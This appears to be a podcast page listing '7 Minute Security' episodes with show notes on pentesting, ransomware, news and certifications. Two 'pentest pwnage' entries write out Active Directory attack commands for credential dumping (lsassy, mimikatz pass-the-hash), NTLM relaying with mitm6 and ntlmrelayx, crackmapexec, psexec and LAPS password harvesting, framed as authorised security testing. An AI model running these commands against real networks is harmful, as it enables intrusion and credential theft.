7 Minute Security

Brian Johnson

7 Minute Security is a weekly information security podcast focusing on penetration testing, blue teaming and building a career in security. The podcast also features in-depth interviews with industry leaders who share their insights, tools, tips and tricks for being a successful security engineer.

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733 episodes
Updated Friday

Episodes733

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Jun 24, 2021 · 51 min
7MS #473: Interview with Nikhil Mittal
Hey everybody! Today Joe and I sat down with Nikhil Mittal of Pentester Academy and Altered Security to talk about a whole slew of fun security topics: How Nikhil first got involved in Pentester Academy Nikhil's hacker origin story How does Nikhil feel about his tools being used by baddies? What security tools/defenses would be good for SMBs to focus on? Active Directory security - is all hope lost? Will AI, ML, Terminator robots, etc. replace all of us who do pentesting for a living?
Jun 16, 2021 · 52 min
7MS #472: Interview with Christopher Fielder
Today our good pal Christopher Fielder from Arctic Wolf is back for an interview three-peat! He joins Joe "The Machine" Skeen (a.k.a. Gh0sthax) and I to talk about all things ransomware, including: How the Colonial Pipeline incident may have started from a weak VPN cred with no MFA. Silver lining (?) - they got some of the $ back. Was the federal government's response good enough? What should the government be doing to better handle and manage ransomware? Common ways ransomware gets in our environments, and some ways to NOT get ransomware'd: Use 2FA (make sure that all accounts are using it!) Consider having (if possible) your AD user scheme be something like chi-user4920394 instead of Joe.President Have users that haven't logged in for X days get automatically locked out Train your users - consider Arctic Wolf's managed security awareness offering Detect early signs of compromise like Kerberoasting Lock down your DNS egress to only specific servers so that it doesn't run "wide open" Leverage good threat intel
Jun 9, 2021 · 1 hr 2 min
7MS #471: Cyber News - Ransomware Should Run Somewhere Edition
Hey everybody, happy June! Our pal Joe is back to cover some great security stories with us, including: Peloton's leaky API Some Colonial Pipeline discussion (story 1, story 2) Amazon Sidewalk doesn't really share your Internet connection with neighbors/strangers. The Hacker News article doesn't do an awesome job of clearing that up either.
Jun 2, 2021 · 36 min
7MS #470: First Impressions of Meraki Networking Gear
Today we're doing something new - a first impressions episode of Meraki networking gear. Note: this is not a sponsored episode, but rather a follow up to episode #460 where I talked about throwing all my UniFi gear into the ocean and replacing it with Meraki gear. At the end of that episode I asked if anybody was interested in a "first impressions" of the gear, and it turns out (at least 6) people are interested, so here we are! TLDL: Pros Super easy plug-and-play setup The mobile app can control just about everything - ports, SSIDs, Internet on/off timers and more! Verbose logging Top-notch support from experienced technicians Cons Cost! Big $$$ "Cloud only" - can't install this gear in a LAN-only configuration Client VPN is a bit clunky to setup
May 26, 2021 · 48 min
7MS #469: Interview with Philippe Humeau of CrowdSec
Hey friends! Today we're talking with Philippe Humeau, CEO of CrowdSec, which is "an open-source massively multiplayer firewall able to analyze visitor behavior & provide an adapted response to all kinds of attacks. It also leverages the crowd power to generate a global IP reputation database to protect the user network." I came into this interview not knowing much at all about CrowdSec, so I peppered Philippe with questions such as: What is CrowdSec? What problem does it solve? Who are your competitors? You're open source...so how do you make $? What's your five-year plan? You're dealing with a lot of data and metrics...how are you handling data privacy laws and concerns such as GDPR? What if I fall in love with CrowdSec and want to contribute to making it better? It was a really fun, transparent and energetic interview - hope you enjoy it!
May 20, 2021 · 24 min
7MS #468: Eating the Security Dog Food - Part 3
Today we continue the series on eating your own security dog food! Specifically, we talk about: Keeping a log and procedure for sanitizing systems Keeping a log and procedure for provisioning systems A big "gotcha" to be aware of when using Windows system dropboxes - make sure your Windows user account doesn't expire, because Splashtop doesn't have any way to update it! To prevent this, set the account not to expire: wmic useraccount where "Name='LocalAdminAccount'" set PasswordExpires=false If you want more tips on building pentest dropboxes, check out this series Oh, and today's song that I sang obnoxiously is If I Were a Dog.
May 12, 2021 · 55 min
7MS #467: How to Succeed in Business Without Really Crying - Part 9
Hey everybody! I stayed in a hotel for the first time in over a year and boy oh boy...I hope I didn't get COVID from the bedsheets! Anyhow, on that journey I thought of some things that I think will help your business on the marketing/project management/sales side to be more successful and less annoying. DISCLAIMER: I have no formal training in these areas, but I've been on both sides of the table for a number of years, and I think I'm getting a better idea of what clients do and don't like during the sales process. These things include: Reduce layers of people complexity - don't have 17 of your people on the client intro/pitch call and then ghost them once they actually want to buy something! Keep project management just complicated enough - I like project management tools and spreadsheet task-trackers like Smartsheet but I'm trying to let the client lead as far as how much detail they need when tracking their projects. By default, we create a document with a high level map of project milestones, timelines and key contact information. We update that as often as the client likes. Personalize responses to Web leads - if you have an info@ or sales@ address for your business, I think you should personalize the response you give folks who write in. They wrote you for a reason! Don't just copy/paste some generic "Hey you wanted info about our company so here it is blah blah blah" response, that doesn't make people feel like you give a rip about their needs. Think of something personal to say in the reply. "Oh, I see you're in Minnesota. I'm a big Twins fan!" Something like that. Simple, easy and personal. Don't sign people up for junk without asking - in this episode I give an example of a vendor we looked at (but didn't select) for some services, and the company decided to automatically sign ups up for a bunch of electronic and paper mailings. That's super annoying! Don't stink at LinkedIn - in the last episode of this series, I told you about a guy who (to me) wins LinkedIn and the Internet because he sent me a personalized video LinkedIn invitation - it was awesome! Be more like that guy, and less like the mosquitoes who send invites like "Hi, I noticed you're human and figured we should be LinkedIn BFFs" and then sign you up for a non-stop barrage of sales pitches! Bug people "just enough" - if you've had an awesome scoping call for a potential project and the client has received and reviewed the SOW, stay in touch with them periodically - even if it feels like you're being ghosted.
May 5, 2021 · 1 hr
7MS #466: Attacking and Defending Azure AD Cloud (CARTP)
Welp, I need another security certification like I needed a bunch to the retinas, but even after all the fun (and pain) of CRTP I couldn't help but sign up for the maiden voyage of Attacking and Defending Azure AD Cloud - a.k.a. CARTP. This cert comes to us from our friends over at Pentester Academy, and is all about pwning things in Azure AD which is mostly new ground for me. I this episode I talk about some of the TTPs covered in week 1 of this course, as well as: Likes: Courses offered on Saturday (I'm usually pooped for these sessions, but it's easier than taking time during the work week) Student portal - and especially the student guide! - is more polished, easy to read, and easy to copy/paste from. Dislikes: On Saturdays I'm a sleepy Brian. :-) I still wish the course was designed such that we would go through various hands-on-keyboard exercises with the instructor, not just watch. Use of Discord as main comms channel - it causes anxiety for me...too many blips and bloops and blurps with all the notifications. It's also frustrating that the instructor takes questions from Discord sometimes without repeating the question, thus making it hard to figure out what everybody was talking about if I watch the Zoom reply.
Apr 28, 2021 · 53 min
7MS #465: Cyber News - The FBI Might Be Getting Into the IR Biz Edition
Hey friends! Today Joe "The Machine" Skeen (a.k.a. Gh0sthax) and I talk about some of our favorite news stories, including: FBI removes hacker back doors NSA: 5 security bugs under active nation-state cyberattack Ubiquiti is accused of covering up a 'catastrophic' data breach — and it's not denying it. On a side note, enjoy our podcast about how we lost our love for Ubiquiti a while back: 7MS #460: Why I'm Throwing My UniFi Gear Into the Ocean Codecov users warned after backdoor discovered in devops tool
Apr 22, 2021 · 50 min
7MS #464: Interview with Christopher Fielder of Arctic Wolf
Today our friend Christopher Fielder of Arctic Wolf joins us on the show again (check out his first appearance in episode #444 - this time to talk about the security journey, and how to start out in your "security diapers" and mature towards a stronger infosec program. Specifically, we talk about: When the company has one person in charge of IT/security, how can you start taking security seriously without burning this person out? First, it's probably a good idea to take note of what you have as far as people, tools and technology to help you meet your security goals. Early in this process, you should inventory what you have (see CIS controls) so you know what you need to protect. A few tools to help you get started: Nmap Rumble LanSweeper Witnessme As you go about any phase of your security journey, don't ever think "I'm good, I'm secure!" Quarterly/yearly vulnerability scans just won't cut it in today's threat landscape - especially your external network. Consider scanning it nightly to catch show-stoppers like Hafnium early) Limiting administrative privileges is SUPER important - but don't take our word for it, check out this report from Beyond Trust for some important stats like "...enforcing least privilege and removing admin rights eliminates 56% of critical Microsoft vulnerabilities." Install LAPS, because if an attacker gets local admin access everywhere, that's in many ways just as good as Domain Admin! Train your users on relevant security topics. Then train them again. Then....again. And after that? Again. There are many ways to conduct tabletop exercises. They don't have to be crazy technical. Start with the internal tech teams, practice some scenarios and get everybody loosened up. Then add the executives to those meetings so that everybody is more at ease. How do you know when it's time to ask for help from an outside security resource? Not sure what kind of shape your company's security posture is in? Check out Arctic Wolf's free security maturity assessment.
Apr 14, 2021 · 37 min
7MS #463: DIY Pentest Dropbox Tips - Part 5
In the last two episodes of this series (#449 and #450) we've been diving into how to not only speed up the process of spinning up a DIY pentest dropbox, but how to automate nearly the entire build process! In today's episode we talk specifically about how to streamline the Windows 10 build process. As previously mentioned, this article is awesome for creating a core Win 10 answer file that will format C:, setup a local admin, login once to the configured desktop and then do whatever things you want it to do. Personally, I like having a single batch file get fired off that: Sets the timezone with tzutil /s "Central Standard Time" Stops the VM from falling asleep with powercfg.exe -change -standby-timeout-ac 0 Grabs and runs a PS file that does a ton of downloading and unzipping of files with: invoke-webrequest https://somesite/somefile.zip -outfile c:\somewhere\somefile.zip expand-archive c:\somewhere\somefile.zip -destinationpath "c:\somewhere\extracted\" Installs Windows updates with: Install-PackageProvider -name nuget -force Install-Module PSWindowsUpdate -force Import-Module PSWindowsUpdate Get-WindowsUpdate Install-WindowsUpdate -AcceptAll -IgnoreReboot Sets a new name for the machine: Write-Host "Picking a new name for this machine...you'll need to provide your admin pw to do so" Rename-Computer -LocalCredential administrator -PassThru Write-Host "New name accepted!" Does a set of actions depending on the IP range with this code (which sets the IP address to a variable and then does stuff if the machine sits in that subnet): $ip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1] f ($ip -like "192.168.0.*") { Invoke-Webrequest https://somesite/somefile.ps1 -OutFile c:\someplace\somefile.ps1 } Also, I talk in this episode about how I try to host these "seed" files as securely as possible using Amazon Lightsail instances, the built-in firewall, and LetsEncrypt.
Apr 7, 2021 · 37 min
7MS #462: Pentesting with the Hak5 Key Croc
Today we talk through our first engagement using Hak5 Key Croc to steal and exfil data. In the past, my internal monologue when a new Hak5 toy is released sounds like this: "I certainly don't need another Hak5 doo-dad! The last one didn't ever work that great, and ended up in a drawer full of past Hak5 doo-dads that didn't work that great." "Whaaaaat? A new cool and hip video for the INSERT_CATCHY_HAK5_TOOL_NAME is out? Pffft. I don't need that." 5 seconds go by... "Well it's just $100, shut up and take my money!" "It came in the mail today! It has a cool envelope and everything!" "Hrm, I followed the quick start video and 3 of the 10 steps don't work for me. I'll hit the forums. Huh, everybody seems to be having this problem. 5 days go by... "Neat! With a little help from SassyGal67 and StarWarsFreak_XXL on the forums, I hacked together my own fix for these issues. Now the core functionality of the device works, but the GUI is totally broken and you have to factory reset it with every use. Cool!" Deep breath. Tosses doo-dad in a drawer full of past Hak5 doo-dads that didn't work that great. So with all that said, was our experience with the Key Croc any different? Check out today's episode to find out!
Mar 31, 2021 · 47 min
7MS #461: Tales of Internal Network Pentest Pwnage - Part 26
OK I probably say this every time, but I'm gonna say it again: this tale of pwnage is my one of my favs - and not because of the tools/tradecraft, but because of why the company needed our help in the first place. I think I'd file this under the category of "rescue and recovery mission" more than a pentest, but it was a total blast. I also cover a few tangents, including how COVID shot #2 gave me nightmares about leprechauns and indirectly caused me to de-pants in front of a large Webinar audience.
Mar 24, 2021 · 40 min
7MS #460: Why I'm Throwing My UniFi Gear Into the Ocean
Hey friends! Warning: this is not a "typical" 7MS episode where we try hard to deliver some level of security value. Instead, today is a big, fat, crybaby, first-world problems whine-fest about how I used to love my UniFi gear for many years, but then a few weeks ago I hit unhealthy levels of rage while working with it...and subsequently completely ripped it all out of the wall and threw it in a plastic bin. Let me say it one more time: if you don't like rants of rage, skip this episode and we'll see you next week!. If you want to hang in for this clown show, you'll be treated to some of the following highlights: How I did not pirate Boson NetSim How I fell in love with the Edge Router X as an up-and-coming network guru The schedule isn't up, but I'm speaking at Secure360 this year! My shiny new Dream Machine had a really fun issue where one morning Internet service was dead (even though config hadn't changed in weeks), and restoring the SAME config over the RUNNING config fixed the issue. Whaaahhhh? The Dream Machine GUI (at the time) doesn't have all the options one might need to stand up a site to site VPN. Neat. After a firmware update, my wifi started going down from 8:00 a.m. - 8:07 a.m. every morning. Were one of you hacking me? WERE ONE OF YOU HACKING ME! Once I got a BeaconHD, I got a new fun issue where if you were connected to it and submitted a wifi voucher, the Beacon wouldn't properly recognize it and let you on the Internet until about 5 minutes later. Guests loved that! And by "loved that" I mean "hated that." After upgrading UDM firmware again, a new nifty issue popped its head up which broke all my inter-VLAN rules. Yay! I threw hundreds of dollars at new UniFi switches and access points to solve all these problems, and everything worked perfectly (until it didn't).
Mar 17, 2021 · 1 hr 3 min
7MS #459: Cyber News - Microsoft Exchange Makes the World Cry Edition
Happy mid-March! Our good pal Gh0sthax joins us today for another hot dish of cyber news! Stories include: Microsoft Exchange cyber attack - Hacker News has a nice what we know so far story, but things have evolved really fast, so make sure you check Microsoft's primary advisory, the script to run on local servers and newer updates such as the recent one-click remediation for unsupported Exchange versions SonicWall zero day - yuck, looks like the SonicWall troubles we talked about recently were a true zero day. In contrast to the Exchange story, it looks like SonicWall's official response offers (frighteningly?) little by way of logs and forensics to tell if you were truly popped. Either way, be sure to patch! Hackers attempt to contaminate Florida town's water supply - the story itself is interesting, but the way it got picked up by some outlets seems to send the message of "TeamViewer = bad" but we think the true lessons learned here are: Out of date and/or unsupported OS = bad Weak credentials = bad Connecting this type of equipment directly to the Internet instead of MFA + VPN = bad CISA has a great breakdown of this incident as well. Webshell use has doubled since last year - this article brings back some happy/frustrating OSCP experiences. To better protect your org from being pwned with Web shells, check out NSA's list of vulnerabilities commonly exploited to plant web shells Some great feedback from the last cyber news episode - a podcast listener offered a different take on the "sudo bug that gives root access story" that we discussed last month.
Mar 11, 2021 · 59 min
7MS #458: Interview with Tanya Janca
Today we're super excited to share a featured interview with Tanya Janca of WeHackPurple! Tanya has been in software development from the moment she was of legal age to work in Canada - beginning by working with some huge companies (Nokia/Adobe) before falling in love with application security and eventually starting a company of her own. Gh0sthax and I sat down with Tanya over Zoom to discuss: How to overcome your fears and present at conferences, write blog posts and even start your own company! How to deal with online jackwagons who troll you online at conferences The importance of finding a mentor and mentoring others Also, here are a bunch of handy links and hashtags Tanya shares throughout the interview: Bob and Alice Learn Application Security - Tanya's book, available on Amazon Women of Security (WoSEC) We Hack Purple Podcast - weekly podcast with a diverse range of guests from all walks of infosec life We Hack Purple Community - "a Canadian company dedicated to helping anyone and everyone create secure software." Tanya's music on Spotify #CyberMentoringMonday - a hashtag that Tanya and other security professionals monitor to help people connect with cyber mentors InsiderPHd - has a safe space for bug bounty hunters to learn and collaborate WeAreHackerz - "You are welcome to join WeAreHackerz if you identify as a person of a marginalized gender, including but not limited to non-binary individuals, women (trans and cis), trans men, genderqueer, etc. We welcome members across all nationalities, races, religions, ages, or other characteristics that make each of us unique." Security in Color
Mar 4, 2021 · 31 min
7MS #457: Tales of Internal Network Pentest Pwnage - Part 25
Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence: Get a cmd.exe spun up in the context of your AD user account: runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe" Then get some important info in PowerView: Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win! Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win! Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access! Once you know where you have local admin access, lsassy is your friend: lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server Did you get an admin's NTLM hash from this dump? Then do this: crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED (Pwn3d!) FTW!
Feb 25, 2021 · 56 min
7MS #456: Certified Red Team Professional - Part 4
Hello friends! Today, Joe (Gh0sthax) and I complete our series on CRTP - Certified Red Team Professional - a really awesome pentesting training and exam based squarely on Microsoft tools and tradecraft. Specifically, Joe and I talk about: We don't think the training/exam is for beginners, despite how its advertised Both the lab PDF and PowerPoint have their own quirks - which may ultimately be teaching us not to be copy-and-paste jockeys, and instead build our own study guides and cheat sheets Don't let the training give you the idea that most pentests have a super fast escalation path to DA (ok yes sometimes they do, but usually we spend a LOT of hours working on escalation!) Watch the walkthrough videos. We repeat: WATCH THE WALKTHROUGH VIDEOS! Although not required, we highly recommend capturing all the flags laid out for you in the lab environment Know how to privesc - using multiple tools/methods It would be to your advantage to understand how to view/manipulate Active directory information in multiple ways You start the exam with no tools. So how will you be ready to upload/download tools into the exam environment so you make the most of your exam time? Tool X might give you wrong results - or none at all - in the lab. Do you have a backup tool Y and Z that can serve the same purpose? You want to be very good at Kerberos ticket crafting! Know all the mimikatz commands and switches and when to apply them
Feb 19, 2021 · 52 min
7MS #455: Tales of Internal Network Pentest Pwnage - Part 24
Hey everybody! Sorry that we're late again with today's episode, but I got COVID shot #2 and it kicked my behind BIG TIME today. But I'm vertical today and back amongst the living and thrilled to be sharing with you another tale of pentest pwnage! Yeah! This might be my favorite tale yet because: I got to use some of my new CRTP skills! Make sure on your pentests that you're looking for "roastable" users. Harmj0y has a great article on this, but the TLDR is make sure you run PowerView with the -PreauthNotRequired flag to hunt for these users: Get-DomainUser -PreauthNotRequired Check for misconfigured LAPS installs with Get-LAPSPasswords! The combination of mitm6.py -i eth0 -d company.local --no-ra --ignore-nofqdn + ntlmrelayx -t ldaps://domain.controller.ip.address -wh attacker-wpad --delegate-access is reeeeeealllllyyyyyyy awesome and effective! When you are doing the --delegate-access trick, don't ignore (like I did for years) if you get administrative impersonation access on a regular workstation. You can still abuse it by impersonating an admin, run secretsdump or pilfer the machine for additional goodies! SharpShares is a cool way to find shares your account has access to. I didn't get to use it on this engagement but Chisel looks to be a rad way to tunnel information Once you've dumped all the domain hashes with secretsdump, don't forget (like me) that you can do some nice Mimikatz'ing to leverage those hashes! For example: sekurlsa::pth /user:administrator /ntlm:hash-of-the-administrator-user /domain:yourdomain.com Do that and bam! a new command prompt opens with administrator privileges! Keep in mind though, if you do a whoami you will still be SOMEWORKSTATION\joeblo, but you can do something like psexec \\VICTIM-SERVER cmd.exe and then do a whoami and then POW! - you're running as domain admin! Once you've got domain admin access, why not run Get-LAPSPasswords again to get all the local admin passwords across the whole enterprise? Or you can do get-netcomputer VICTIM-SERVER and look for the mc-mcs-admpwd value - which is the LAPS password! Whooee!!! That's fun! Armed with all the local admin passwords, I was able to run net use Q: \\VICTIM-SERVER\C$" /user:Adminisrator LAPS-PASSWORD to hook a network drive to that share. You can also do net view \\VICTIM-SERVER\ to see all the shares you can hook to. And that gave me all the info I needed to find the company's crowned jewels :-)
Feb 11, 2021 · 50 min
7MS #454: Cyber News - Lets Switch to Typewriters Edition
Happy almost-mid-February! Today Gh0sthax cooked up some great news stories for us to chew on, including: Sudo bug gives root access to mass numbers of Linux systems! What the heck is hammering with GameStop stock? - this tweet does a great job of explaining it in plain English Solarwinds continues to be a gift that keeps on giving malware-laced gifts that people don't want Sonicwall was hacked using zero days in its own products. After recording this news segment, Sonicwall issued an updated statement on the situation